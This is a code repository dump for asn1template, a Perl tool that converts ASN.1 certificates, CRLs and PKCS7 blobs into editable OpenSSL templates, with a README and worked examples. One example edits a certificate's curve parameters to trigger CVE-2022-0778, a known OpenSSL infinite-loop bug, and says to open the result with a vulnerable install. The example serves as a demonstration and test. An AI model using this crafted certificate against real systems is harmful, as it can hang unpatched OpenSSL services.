SEQUENCE:seq14@100-2-11 82 | [seq14@100-2-11] 83 | field23@102-2-3 = OBJECT:commonName 84 | field24@107-2-4 = FORMAT:UTF8,UTF8String:"TEST" 85 | [seq9@113-4-299] 86 | field25@117-4-259 = SEQUENCE:seq15@117-4-259 87 | field26@380-2-34 = FORMAT:HEX,BITSTRING:03D927DDD6F9FD08510ED8AAAFFA847F84B5B4C108D9B857766BE80AA2F3DFEE72 88 | [seq15@117-4-259] 89 | field27@121-2-7 = OBJECT:id-ecPublicKey 90 | field28@130-3-247 = SEQUENCE:seq16@130-3-247 91 | [seq16@130-3-247] 92 | field29@133-2-1 = INTEGER:0x01 93 | field30@136-2-44 = SEQUENCE:seq17@136-2-44 94 | field31@182-2-91 = SEQUENCE:seq18@182-2-91 95 | field32@275-2-65 = FORMAT:HEX,OCTETSTRING:046B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C2964FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5 96 | field33@342-2-33 = INTEGER:0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551 97 | field34@377-2-1 = INTEGER:0x01 98 | [seq17@136-2-44] 99 | field35@138-2-7 = OBJECT:prime-field 100 | field36@147-2-33 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF 101 | [seq18@182-2-91] 102 | field37@184-2-32 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC 103 | field38@218-2-32 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B 104 | field39@252-2-21 = FORMAT:HEX,BITSTRING:C49D360886E704936A6678E1139D26B7819F7E90 105 | [seq10@416-2-83] 106 | field40@418-2-81 = SEQUENCE:seq19@418-2-81 107 | [seq19@418-2-81] 108 | field41@420-2-29 = SEQUENCE:seq20@420-2-29 109 | field42@451-2-31 = SEQUENCE:seq21@451-2-31 110 | field43@484-2-15 = SEQUENCE:seq22@484-2-15 111 | [seq20@420-2-29] 112 | field44@422-2-3 = OBJECT:X509v3 Subject Key Identifier 113 | field45@427-2-22 = FORMAT:HEX,OCTETSTRING:0414F1D34876BCCF7BA9CA045F654CD7BF1EF715AA81 114 | [seq21@451-2-31] 115 | field46@453-2-3 = OBJECT:X509v3 Authority Key Identifier 116 | field47@458-2-24 = FORMAT:HEX,OCTETSTRING:30168014F1D34876BCCF7BA9CA045F654CD7BF1EF715AA81 117 | [seq22@484-2-15] 118 | field48@486-2-3 = OBJECT:X509v3 Basic Constraints 119 | field49@491-2-1 = BOOLEAN:true 120 | field50@494-2-5 = FORMAT:HEX,OCTETSTRING:30030101FF 121 | [seq3@501-2-10] 122 | field51@503-2-8 = OBJECT:ecdsa-with-SHA256 123 | ``` 124 | 125 | Change some of the values in the template according to https://github.com/drago-96/CVE-2022-0778 and https://github.com/drago-96/CVE-2022-0778/pull/4 : 126 | ```console 127 | $ diff -u cert.tpl cert_new.tpl 128 | --- cert.tpl 2022-08-18 15:42:00.593000000 +0200 129 | +++ cert_new.tpl 2022-08-18 15:44:01.220000000 +0200 130 | @@ -48,11 +48,11 @@ 131 | field34@377-2-1 = INTEGER:0x01 132 | [seq17@136-2-44] 133 | field35@138-2-7 = OBJECT:prime-field 134 | -field36@147-2-33 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF 135 | +field36@147-2-33 = INTEGER:0x2B9 136 | [seq18@182-2-91] 137 | -field37@184-2-32 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC 138 | -field38@218-2-32 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B 139 | -field39@252-2-21 = FORMAT:HEX,BITSTRING:C49D360886E704936A6678E1139D26B7819F7E90 140 | +field37@184-2-32 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017 141 | +field38@218-2-32 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000 142 | +field39@252-2-21 = FORMAT:HEX,BITSTRING:0308 143 | [seq10@416-2-83] 144 | field40@418-2-81 = SEQUENCE:seq19@418-2-81 145 | [seq19@418-2-81] 146 | ``` 147 | 148 | Then convert the template back to DER encoded ASN.1: 149 | ```console 150 | $ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der 151 | 152 | ``` 153 | 154 | Finally, try to display this certificate with a CVE-2022-0778 vulnerable OpenSSL installation: 155 | ```console 156 | $ openssl x509 -inform DER -in cert_new.der -noout -text 157 | ``` 158 | 159 | ## Example #3 - CRL file and PKCS7 160 | 161 | It works on certificates, but, more generally, on arbitrary DER encoded ASN.1 162 | blobs. Here is the same as example #1 but with a CRL file: 163 | 164 | ```console 165 | $ wget -o /dev/null https://crl.pki.goog/gtsr1/gtsr1.crl 166 | $ ./asn1template.pl gtsr1.crl > gtsr1.tpl 167 | $ openssl asn1parse -genconf gtsr1.tpl -noout -out gtsr1_new.crl 168 | $ diff gtsr1.crl gtsr1_new.crl 169 | $ echo $? 170 | 0 171 | ``` 172 | 173 | Or with an smime.p7s email signature taken from https://datatracker.ietf.org/doc/html/rfc4134 (page 87): 174 | 175 | ```console 176 | $ cat < smime.p7s.base64 177 | MIIDdwYJKoZIhvcNAQcCoIIDaDCCA2QCAQExCTAHBgUrDgMCGjALBgkqhkiG9w0BBwGgggL 178 | gMIIC3DCCApugAwIBAgICAMgwCQYHKoZIzjgEAzASMRAwDgYDVQQDEwdDYXJsRFNTMB4XDT 179 | k5MDgxNzAxMTA0OVoXDTM5MTIzMTIzNTk1OVowEzERMA8GA1UEAxMIQWxpY2VEU1MwggG2M 180 | IIBKwYHKoZIzjgEATCCAR4CgYEAgY3N7YPqCp45PsJIKKPkR5PdDteoDuxTxauECE//lOFz 181 | SH4M1vNESNH+n6+koYkv4dkwyDbeP5u/t0zcX2mK5HXQNwyRCJWb3qde+fz0ny/dQ6iLVPE 182 | /sAcIR01diMPDtbPjVQh11Tl2EMR4vf+dsISXN/LkURu15AmWXPN+W9sCFQDiR6YaRWa4E8 183 | baj7g3IStii/eTzQKBgCY40BSJMqo5+z5t2UtZakx2IzkEAjVc8ssaMMMeUF3dm1nizaoFP 184 | VjAe6I2uG4Hr32KQiWn9HXPSgheSz6Q+G3qnMkhijt2FOnOLl2jB80jhbgvMAF8bUmJEYk2 185 | RL34yJVKU1a14vlz7BphNh8Rf8K97dFQ/5h0wtGBSmA5ujY5A4GEAAKBgFzjuVp1FJYLqXr 186 | d4z+p7Kxe3L23ExE0phaJKBEj2TSGZ3V1ExI9Q1tv5VG/+onyohs+JH09B41bY8i7RaWgSu 187 | OF1s4GgD/oI34a8iSrUxq4Jw0e7wi/ZhSAXGKsZfoVi/G7NNTSljf2YUeyxDKE8H5BQP1Gp 188 | 2NOM/Kl4vTyg+W4o4GBMH8wDAYDVR0TAQH/BAIwADAOBgNVHQ8BAf8EBAMCBsAwHwYDVR0j 189 | BBgwFoAUcEQ+gi5vh95K03XjPSC8QyuT8R8wHQYDVR0OBBYEFL5sobPjwfftQ3CkzhMB4v3 190 | jl/7NMB8GA1UdEQQYMBaBFEFsaWNlRFNTQGV4YW1wbGUuY29tMAkGByqGSM44BAMDMAAwLQ 191 | IUVQykGR9CK4lxIjONg2q1PWdrv0UCFQCfYVNSVAtcst3a53Yd4hBSW0NevTFjMGECAQEwG 192 | DASMRAwDgYDVQQDEwdDYXJsRFNTAgIAyDAHBgUrDgMCGjAJBgcqhkjOOAQDBC4wLAIUM/mG 193 | f6gkgp9Z0XtRdGimJeB/BxUCFGFFJqwYRt1WYcIOQoGiaowqGzVI 194 | EOF 195 | $ base64 -d - < smime.p7s.base64 > smime.p7s 196 | $ ./asn1template.pl smime.p7s > smime.p7s.tpl 197 | $ openssl asn1parse -genconf smime.p7s.tpl -noout -out smime.p7s_new 198 | $ diff smime.p7s smime.p7s_new 199 | $ echo $? 200 | 0 201 | ``` 202 | 203 | ## Example #4 - PEM Encoded Certificate 204 | 205 | It also works with PEM files: 206 | 207 | ```console 208 | $ wget -o /dev/null https://pki.goog/repo/certs/gtsr1.pem 209 | ``` 210 | 211 | Convert it to an ASN1_generate_nconf(3) compatible textual description: 212 | 213 | ```console 214 | $ ./asn1template.pl --pem gtsr1.pem > gtsr1.tpl 215 | ``` 216 | 217 | Convert it back to DER encoded ASN.1 with ASN1_generate_nconf(3): 218 | 219 | ```console 220 | $ openssl asn1parse -genconf gtsr1.tpl -noout -out gtsr1_new.der 221 | ``` 222 | 223 | Then back to PEM: 224 | ```console 225 | $ openssl x509 -inform DER -in gtsr1_new.der -outform PEM -out gtsr1_new.pem 226 | ``` 227 | 228 | Original and recreated PEM files are identical: 229 | ```console 230 | $ diff gtsr1.pem gtsr1_new.pem 231 | $ echo $? 232 | 0 233 | ``` 234 | 235 | ## Example #5 - Explicit tags 236 | Let's consider the following configuration template that contains an explicit 237 | tag definition: 238 | 239 | ```console 240 | $ cat test.tpl 241 | asn1 = SEQUENCE:seq1 242 | [seq1] 243 | field1 = EXPLICIT:0A,IA5STRING:Hello World 244 | ``` 245 | 246 | We can generate the corresponding DER encoded file: 247 | ```console 248 | $ openssl asn1parse -genconf test.tpl -out test.der 249 | 0:d=0 hl=2 l= 15 cons: SEQUENCE 250 | 2:d=1 hl=2 l= 13 cons: appl [ 0 ] 251 | 4:d=2 hl=2 l= 11 prim: IA5STRING :Hello World 252 | ``` 253 | 254 | The DER encoded file can be read with the asn1parse OpenSSL app: 255 | ```console 256 | $ openssl asn1parse -in test.der -i -inform D 257 | 0:d=0 hl=2 l= 15 cons: SEQUENCE 258 | 2:d=1 hl=2 l= 13 cons: appl [ 0 ] 259 | 4:d=2 hl=2 l= 11 prim: IA5STRING :Hello World 260 | ``` 261 | 262 | We can see the entry point sequence (seq1) followed by a tagged sequence (appl 263 | [ 0 ]) containing the IA5STRING. 264 | 265 | The template can then be extracted from the DER encoded file: 266 | ```console 267 | $ ./asn1template.pl test.der | tee test2.tpl 268 | asn1 = SEQUENCE:seq1@0-2-15 269 | [seq1@0-2-15] 270 | field2@2-2-13 = IMPLICIT:0A,SEQUENCE:seq2@2-2-13 271 | [seq2@2-2-13] 272 | field3@4-2-11 = IA5STRING:"Hello\ World" 273 | ``` 274 | We can see that the explicit tag has been replaced by an implicitly tagged sequence (seq2). 275 | 276 | This template can finally be used to generate the associated DER encode file: 277 | ```console 278 | $ openssl asn1parse -genconf test2.tpl -out test2.der 279 | 0:d=0 hl=2 l= 15 cons: SEQUENCE 280 | 2:d=1 hl=2 l= 13 cons: appl [ 0 ] 281 | 4:d=2 hl=2 l= 11 prim: IA5STRING :Hello World 282 | ``` 283 | 284 | Both DER encoded files are identical. ```test.der``` originates from a 285 | configuration template with an explicit tag, ```test2.der``` originates from an 286 | equivalent configuration template containing an implicit tag: 287 | ```console 288 | $ diff test.der test2.der 289 | $ echo $? 290 | 0 291 | ``` 292 | 293 | -------------------------------------------------------------------------------- /asn1template.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | ## 4 | ## Copyright (c) 2022-2025 William Robinet 5 | ## 6 | ## Permission to use, copy, modify, and distribute this software for any 7 | ## purpose with or without fee is hereby granted, provided that the above 8 | ## copyright notice and this permission notice appear in all copies. 9 | ## 10 | ## THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 11 | ## WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 12 | ## MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 13 | ## ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 14 | ## WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 15 | ## ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 16 | ## OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 17 | ## 18 | 19 | use strict; 20 | use warnings; 21 | use Env; 22 | ################ 23 | # "apt install libdata-dump-perl" 24 | # or "dnf install perl-Data-Dump" 25 | #use Data::Dump qw/dump/; 26 | use Carp; 27 | use Encode qw/decode/; 28 | use File::Temp qw/:POSIX/; 29 | use Getopt::Long; 30 | 31 | # Path to the openssl binary 32 | my $openssl = (exists $ENV{OPENSSL}) ? $ENV{OPENSSL} : `which openssl`; 33 | 34 | chomp($openssl); 35 | my $ret = system("$openssl version >/dev/null 2>&1"); 36 | if ($ret) { 37 | croak("'$openssl' is not a suitable openssl executable!"); 38 | } 39 | #### 40 | 41 | my $ftype = 'D'; 42 | my $multiroot = 0; 43 | my $simple_labels = 0; 44 | my $unwrap = 0; 45 | my $error_detected = 0; 46 | 47 | sub print_usage { 48 | print "Usage:\n"; 49 | print "\t$0 [--help|-h] [--pem|-p] [--simple-labels|-s] [--multi-root|-m] \n\n"; 50 | print "Default input file format is DER, use --pem (or -p) option to switch to PEM\n"; 51 | print "Use --multi-root (or -m) option to process multiple concatenated structures from a single input file\n"; 52 | print "Use --simple-labels (or -s) option to use simple numeric labels\n"; 53 | print "Use --help (or -h) to print this help message\n\n"; 54 | print "Remove/Unwrap top-level SEQUENCE, use --pem (or -p) option to switch to PEM\n"; 55 | print "\t$0 [--pem|-p] [--unwrap|-u] \n\n"; 56 | exit 1 57 | } 58 | 59 | sub parse_file { 60 | my $srcfile = shift; 61 | my $ptr = shift; 62 | 63 | open(my $fh, "-|", "$openssl asn1parse -inform $ftype -in '$srcfile' 2>/dev/null") 64 | or croak "Error opening source file !"; 65 | 66 | my $offset = 0; 67 | my $prev_indent_level = 0; 68 | my $indent_level = 0; 69 | my $header_length = 0; 70 | my $length = 0; 71 | my $class = ''; 72 | my $type = ''; 73 | my $data = ''; 74 | my $line_number = 0; 75 | 76 | while(<$fh>) { 77 | $line_number++; 78 | chomp; 79 | 80 | if($multiroot) { 81 | $multiroot = 0; 82 | $indent_level = -1; 83 | my $array_ref = [$ptr]; 84 | push @{$ptr}, 'SEQUENCE'; 85 | push @{$ptr}, 'cons'; 86 | push @{$ptr}, 'wrapping-seq'; 87 | push @{$ptr}, $array_ref; 88 | $ptr = $array_ref; 89 | } 90 | 91 | $prev_indent_level = $indent_level; 92 | if( /\s*([0-9]+):d=([0-9]+).*hl=([0-9]+)\s+l=\s*(inf|[0-9]+)\s+([a-z]+):\s*(]\s*/ ) { 93 | $offset = int($1); 94 | $indent_level = int($2); 95 | $header_length = int($3); 96 | $length = int($4); 97 | $class = $5; 98 | $type = ($6 eq " 0; 130 | } else { 131 | push @{$ptr}, $type; 132 | push @{$ptr}, $class; 133 | push @{$ptr}, "$offset-$header_length-$length"; 134 | 135 | if($type eq 'BIT STRING' or 136 | $type eq 'UTF8STRING' or 137 | $type eq 'BMPSTRING' or 138 | $type =~ /^(cont|appl|priv|univ)\s+[0-9]+/) { 139 | if($length > 0) { 140 | my $tmp_filename = tmpnam(); 141 | system($openssl, 'asn1parse', '-in', $srcfile, '-inform', $ftype, 142 | '-offset', $offset + $header_length, '-length', $length, '-noout', '-out', $tmp_filename); 143 | open(my $tmpfh, "<", $tmp_filename) 144 | or croak "Error opening tmp file!"; 145 | 146 | if($type eq 'BIT STRING' or $type =~ /^(cont|appl|priv|univ)\s+[0-9]+/) { 147 | $data = ""; 148 | $data .= uc unpack "H*", $_ while(<$tmpfh>); 149 | $data = $data =~ /^00(.*)/ ? $1 : $data if($type eq 'BIT STRING'); 150 | } elsif ($type eq 'UTF8STRING') { 151 | $data = <$tmpfh>; 152 | } elsif ($type eq 'BMPSTRING') { 153 | $data = decode("UTF-16BE", <$tmpfh>); 154 | } 155 | close($tmpfh); 156 | unlink $tmp_filename; 157 | } else { 158 | $data = ""; 159 | } 160 | } 161 | push @{$ptr}, $data if $type ne 'NULL'; 162 | } 163 | } 164 | close($fh); 165 | return 166 | } 167 | 168 | # Display only vars 169 | my $indent_level_display; 170 | my $ptr_display; 171 | my $class; 172 | my ($fieldid, $fieldlabel); 173 | my ($sid, $slabel); 174 | my $stype_stack = []; 175 | #### 176 | 177 | sub dump_template; 178 | sub dump_template { 179 | my $length = scalar @{$ptr_display}; 180 | my $queue = []; 181 | for(my $i = 1; $i < $length; $i++) { 182 | my $item = ${$ptr_display}[$i]; 183 | if(ref $item eq 'ARRAY') { 184 | push @{$queue}, $item; 185 | push @{$queue}, "$sid$slabel"; 186 | } else { 187 | $i++; 188 | $fieldid++; 189 | $class = ${$ptr_display}[$i]; 190 | $i++; 191 | $fieldlabel = ($simple_labels) ? '' : '@'.${$ptr_display}[$i]; 192 | 193 | if($class eq 'cons') { 194 | my $stype = ($item =~ /^SE([QT])/) ? lc($1) : "q"; 195 | push @{$stype_stack}, $stype ; 196 | $sid++; 197 | $slabel = ($simple_labels) ? '' : '@'.${$ptr_display}[$i]; 198 | 199 | $item = "IMPLICIT:$2".uc($1).",SEQUENCE" if $item =~ /^([capu])[ontplriv]+\s+([0-9]+)/; 200 | 201 | if($sid == 1) { 202 | print "asn1 = $item:se$stype$sid$slabel\n"; 203 | } else { 204 | print "field$fieldid$fieldlabel = $item:se".$stype."$sid$slabel\n"; 205 | } 206 | } else { 207 | $i++; 208 | 209 | if($item =~ /^([capu])[ontplriv]+\s+([0-9]+)/) { 210 | my $hexfmt = (${$ptr_display}[$i] eq "") ? "" : ",FORMAT:HEX"; 211 | print "field$fieldid$fieldlabel = IMPLICIT:$2".uc($1)."$hexfmt,OCTETSTRING:${$ptr_display}[$i]\n"; 212 | } elsif($item eq 'NULL') { 213 | print "field$fieldid$fieldlabel = $item\n"; 214 | } elsif ($item eq 'OCTET STRING') { 215 | if(${$ptr_display}[$i] =~ /\:([A-F0-9]+)/) { 216 | print "field$fieldid$fieldlabel = FORMAT:HEX,"."OCTETSTRING:$1\n"; 217 | } else { 218 | print "field$fieldid$fieldlabel = OCTETSTRING:".${$ptr_display}[$i]."\n"; 219 | } 220 | } elsif ($item eq 'INTEGER') { 221 | ${$ptr_display}[$i] =~ /^(-?[A-F0-9]+)/; 222 | print "field$fieldid$fieldlabel = $item:0x$1\n"; 223 | } elsif ($item eq 'BOOLEAN') { 224 | if(${$ptr_display}[$i] =~ /255/) { 225 | print "field$fieldid$fieldlabel = $item:true\n"; 226 | } else { 227 | print "field$fieldid$fieldlabel = $item:false\n"; 228 | } 229 | } elsif ($item eq 'BIT STRING') { 230 | print "field$fieldid$fieldlabel = FORMAT:HEX,"."BITSTRING:${$ptr_display}[$i]\n"; 231 | } elsif ($item eq 'UTF8STRING') { 232 | print "field$fieldid$fieldlabel = FORMAT:UTF8,"."UTF8String:\"".quotemeta(${$ptr_display}[$i])."\"\n"; 233 | } elsif ($item eq 'BMPSTRING') { 234 | print "field$fieldid$fieldlabel = FORMAT:UTF8,"."BMPSTRING:\"${$ptr_display}[$i]\"\n"; 235 | } elsif ($item eq 'PRINTABLESTRING' or $item eq 'T61STRING' or $item eq 'IA5STRING') { 236 | print "field$fieldid$fieldlabel = $item:\"".quotemeta(${$ptr_display}[$i])."\"\n"; 237 | } elsif ($item eq 'EOC') { 238 | print "field$fieldid$fieldlabel = IMPLICIT:0U,PRINTABLESTRING:\"\"\n" 239 | } else { 240 | print "field$fieldid$fieldlabel = $item:${$ptr_display}[$i]\n"; 241 | } 242 | } 243 | } 244 | } 245 | while (scalar @{$queue} > 0) { 246 | $ptr_display = shift((@{$queue})); 247 | my $tmpseqref = shift((@{$queue})); 248 | my $stype = pop(@{$stype_stack}); 249 | print "[se$stype$tmpseqref]\n"; 250 | $indent_level_display++; 251 | dump_template(); 252 | $indent_level_display--; 253 | $ptr_display = ${$ptr_display}[0]; 254 | } 255 | return 256 | } 257 | 258 | sub dump_template_wrapper { 259 | $ptr_display = shift; 260 | $indent_level_display = 0; 261 | $fieldid = 0; 262 | $sid = 0; 263 | dump_template(); 264 | return 265 | } 266 | 267 | sub root_unwrap { 268 | my $srcfile = shift; 269 | open(my$fh, "-|", "$openssl asn1parse -inform $ftype -in '$srcfile' 2>/dev/null") 270 | or croak "Error opening source file !"; 271 | my $line = <$fh>; 272 | close($fh); 273 | 274 | my $header_length = 0; 275 | my $length = 0; 276 | 277 | chomp($line); 278 | if( $line =~ /\s*0:d=0.*hl=([0-9]+)\s+l=\s*(inf|[0-9]+)/ ) { 279 | $header_length = int($1); 280 | $length = int($2); 281 | } else { 282 | print STDERR "Error could not parse input line !\n"; 283 | exit(4); 284 | } 285 | 286 | my $dstfile = $srcfile.".unwrapped"; 287 | system($openssl, 'asn1parse', '-in', $srcfile, '-inform', $ftype, 288 | '-offset', $header_length, '-length', $length, '-noout', '-out', $dstfile); 289 | close($fh); 290 | 291 | print "Output written to file \"$dstfile\" in DER format.\n"; 292 | } 293 | 294 | my $asn1 = []; 295 | ${$asn1}[0] = $asn1; 296 | 297 | GetOptions( 298 | 'help|h' => sub { print_usage }, 299 | 'pem|p' => sub { $ftype = 'P' }, 300 | 'multi-root|m' => sub { $multiroot = 1 }, 301 | 'simple-labels|s' => sub { $simple_labels = 1}, 302 | 'unwrap|u' => sub { $unwrap = 1}, 303 | ) or do { print_usage }; 304 | 305 | do { print "Missing filename !\n\n"; print_usage } if (scalar @ARGV < 1); 306 | do { print "Too many arguments !\n\n"; print_usage } if (scalar @ARGV > 1); 307 | do { print "File does not exist !\n\n"; print_usage } if not -f "$ARGV[0]"; 308 | 309 | if ($unwrap) { 310 | root_unwrap($ARGV[0]); 311 | } else { 312 | parse_file($ARGV[0], $asn1); 313 | #dump($asn1); 314 | dump_template_wrapper($asn1); 315 | } 316 | 317 | exit $error_detected ; 318 | 319 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ASN.1 templating 2 | 3 | [![tests](https://github.com/wllm-rbnt/asn1template/actions/workflows/tests.yml/badge.svg)](https://github.com/wllm-rbnt/asn1template/actions/workflows/tests.yml) 4 | 5 | This tool takes a DER or PEM encoded ASN.1 structure and outputs the equivalent 6 | textual description that can be edited and later be fed to OpenSSL's 7 | ```ASN1_generate_nconf(3)``` function in order to build the equivalent DER 8 | encoded ASN.1 structure. 9 | The code is written in Perl with minimal dependencies. No compilation required. 10 | 11 | ```console 12 | $ git clone https://github.com/wllm-rbnt/asn1template.git 13 | $ cd asn1template 14 | $ ./asn1template.pl -h 15 | Usage: 16 | ./asn1template.pl [--help|-h] [--pem|-p] [--simple-labels|-s] [--multi-root|-m] 17 | 18 | Default input file format is DER, use --pem (or -p) option to switch to PEM 19 | Use --multi-root (or -m) option to process multiple concatenated structures from a single input file 20 | Use --simple-labels (or -s) option to use simple numeric labels 21 | Use --help (or -h) to print this help message 22 | 23 | Remove/Unwrap top-level SEQUENCE, use --pem (or -p) option to switch to PEM 24 | ./asn1template.pl [--pem|-p] [--unwrap|-u] 25 | ``` 26 | 27 | Here is an example of usage. First, let's convert a PEM encoded certificate to 28 | a textual representation supported by ```ASN1_generate_nconf(3)```. The 29 | certificate we use in this example is a root CA certificate from Amazon. On 30 | Debian, it belongs to the ```ca-certificates``` package. 31 | 32 | ```console 33 | $ ./asn1template.pl --pem /etc/ssl/certs/Amazon_Root_CA_3.pem | tee Amazon_Root_CA_3.tpl 34 | asn1 = SEQUENCE:seq1@0-4-438 35 | [seq1@0-4-438] 36 | field2@4-4-347 = SEQUENCE:seq2@4-4-347 37 | field3@355-2-10 = SEQUENCE:seq3@355-2-10 38 | field4@367-2-73 = FORMAT:HEX,BITSTRING:3046022100E08592A317B78DF92B06A593AC1A98686172FAE1A1D0FB1C7860A64399C5B8C40221009C02EFF1949CB396F9EBC62AF8B62CFE3A901416D78C6324481CDF307DD5683B 39 | [seq2@4-4-347] 40 | field5@8-2-3 = IMPLICIT:0C,SEQUENCE:seq4@8-2-3 41 | field6@13-2-19 = INTEGER:0x066C9FD5749736663F3B0B9AD9E89E7603F24A 42 | field7@34-2-10 = SEQUENCE:seq5@34-2-10 43 | field8@46-2-57 = SEQUENCE:seq6@46-2-57 44 | field9@105-2-30 = SEQUENCE:seq7@105-2-30 45 | field10@137-2-57 = SEQUENCE:seq8@137-2-57 46 | field11@196-2-89 = SEQUENCE:seq9@196-2-89 47 | field12@287-2-66 = IMPLICIT:3C,SEQUENCE:seq10@287-2-66 48 | [seq4@8-2-3] 49 | field13@10-2-1 = INTEGER:0x02 50 | [seq5@34-2-10] 51 | field14@36-2-8 = OBJECT:ecdsa-with-SHA256 52 | [seq6@46-2-57] 53 | field15@48-2-11 = SET:set11@48-2-11 54 | field16@61-2-15 = SET:set12@61-2-15 55 | field17@78-2-25 = SET:set13@78-2-25 56 | [set11@48-2-11] 57 | field18@50-2-9 = SEQUENCE:seq14@50-2-9 58 | [seq14@50-2-9] 59 | field19@52-2-3 = OBJECT:countryName 60 | field20@57-2-2 = PRINTABLESTRING:"US" 61 | [set12@61-2-15] 62 | field21@63-2-13 = SEQUENCE:seq15@63-2-13 63 | [seq15@63-2-13] 64 | field22@65-2-3 = OBJECT:organizationName 65 | field23@70-2-6 = PRINTABLESTRING:"Amazon" 66 | [set13@78-2-25] 67 | field24@80-2-23 = SEQUENCE:seq16@80-2-23 68 | [seq16@80-2-23] 69 | field25@82-2-3 = OBJECT:commonName 70 | field26@87-2-16 = PRINTABLESTRING:"Amazon\ Root\ CA\ 3" 71 | [seq7@105-2-30] 72 | field27@107-2-13 = UTCTIME:150526000000Z 73 | field28@122-2-13 = UTCTIME:400526000000Z 74 | [seq8@137-2-57] 75 | field29@139-2-11 = SET:set17@139-2-11 76 | field30@152-2-15 = SET:set18@152-2-15 77 | field31@169-2-25 = SET:set19@169-2-25 78 | [set17@139-2-11] 79 | field32@141-2-9 = SEQUENCE:seq20@141-2-9 80 | [seq20@141-2-9] 81 | field33@143-2-3 = OBJECT:countryName 82 | field34@148-2-2 = PRINTABLESTRING:"US" 83 | [set18@152-2-15] 84 | field35@154-2-13 = SEQUENCE:seq21@154-2-13 85 | [seq21@154-2-13] 86 | field36@156-2-3 = OBJECT:organizationName 87 | field37@161-2-6 = PRINTABLESTRING:"Amazon" 88 | [set19@169-2-25] 89 | field38@171-2-23 = SEQUENCE:seq22@171-2-23 90 | [seq22@171-2-23] 91 | field39@173-2-3 = OBJECT:commonName 92 | field40@178-2-16 = PRINTABLESTRING:"Amazon\ Root\ CA\ 3" 93 | [seq9@196-2-89] 94 | field41@198-2-19 = SEQUENCE:seq23@198-2-19 95 | field42@219-2-66 = FORMAT:HEX,BITSTRING:042997A7C6417FC00D9BE8011B56C6F252A5BA2DB212E8D22ED7FAC9C5D8AA6D1F73813B3B986B397C33A5C54E868E8017686245577D44581DB337E56708EB66DE 96 | [seq23@198-2-19] 97 | field43@200-2-7 = OBJECT:id-ecPublicKey 98 | field44@209-2-8 = OBJECT:prime256v1 99 | [seq10@287-2-66] 100 | field45@289-2-64 = SEQUENCE:seq24@289-2-64 101 | [seq24@289-2-64] 102 | field46@291-2-15 = SEQUENCE:seq25@291-2-15 103 | field47@308-2-14 = SEQUENCE:seq26@308-2-14 104 | field48@324-2-29 = SEQUENCE:seq27@324-2-29 105 | [seq25@291-2-15] 106 | field49@293-2-3 = OBJECT:X509v3 Basic Constraints 107 | field50@298-2-1 = BOOLEAN:true 108 | field51@301-2-5 = FORMAT:HEX,OCTETSTRING:30030101FF 109 | [seq26@308-2-14] 110 | field52@310-2-3 = OBJECT:X509v3 Key Usage 111 | field53@315-2-1 = BOOLEAN:true 112 | field54@318-2-4 = FORMAT:HEX,OCTETSTRING:03020186 113 | [seq27@324-2-29] 114 | field55@326-2-3 = OBJECT:X509v3 Subject Key Identifier 115 | field56@331-2-22 = FORMAT:HEX,OCTETSTRING:0414ABB6DBD7069E37AC3086079170C79CC419B178C0 116 | [seq3@355-2-10] 117 | field57@357-2-8 = OBJECT:ecdsa-with-SHA256 118 | $ echo $? 119 | 0 120 | ``` 121 | 122 | A return code of ```0``` indicates success. 123 | 124 | This text representation (what we call a template) can be edited at will before 125 | going back to the original format of the certificate. For the sake of this 126 | example, and in order to validate the concept, we will not edit it. We simply 127 | convert this template back to its original form using 128 | ```ASN1_generate_nconf(3)```. This is done in 2 steps, first convert it to a 129 | DER encoded file, then convert this DER file to PEM format: 130 | 131 | ```console 132 | $ openssl asn1parse -genconf Amazon_Root_CA_3.tpl -out Amazon_Root_CA_3_new.der 133 | $ openssl x509 -in Amazon_Root_CA_3_new.der -out Amazon_Root_CA_3_new.pem -outform PEM 134 | ``` 135 | 136 | We can see that the original file and the one we regenerated are identical: 137 | ```console 138 | $ diff -u /etc/ssl/certs/Amazon_Root_CA_3.pem Amazon_Root_CA_3_new.pem 139 | $ echo $? 140 | 0 141 | ``` 142 | 143 | See [this page](EXAMPLES.md) for more examples. 144 | 145 | ```asn1template.pl``` is similar to https://github.com/google/der-ascii . 146 | 147 | It works by reading the output of the ```asn1parse``` OpenSSL app in order to build 148 | an internal structure that is then dumped to the equivalent 149 | ```ASN1_generate_nconf(3)``` compatible textual representation. 150 | 151 | The syntax of this textual representation is documented in the man page of 152 | ```ASN1_generate_nconf(3)```: 153 | 154 | ```console 155 | $ man 3 ASN1_generate_nconf 156 | ``` 157 | 158 | This function is reachable via the ```-genconf``` option of the ```asn1parse``` 159 | OpenSSL app (more info in the manual page: ```man asn1parse``` or ```man 160 | openssl-asn1parse```). 161 | 162 | The tool has been tested against the test certificate corpus available at 163 | 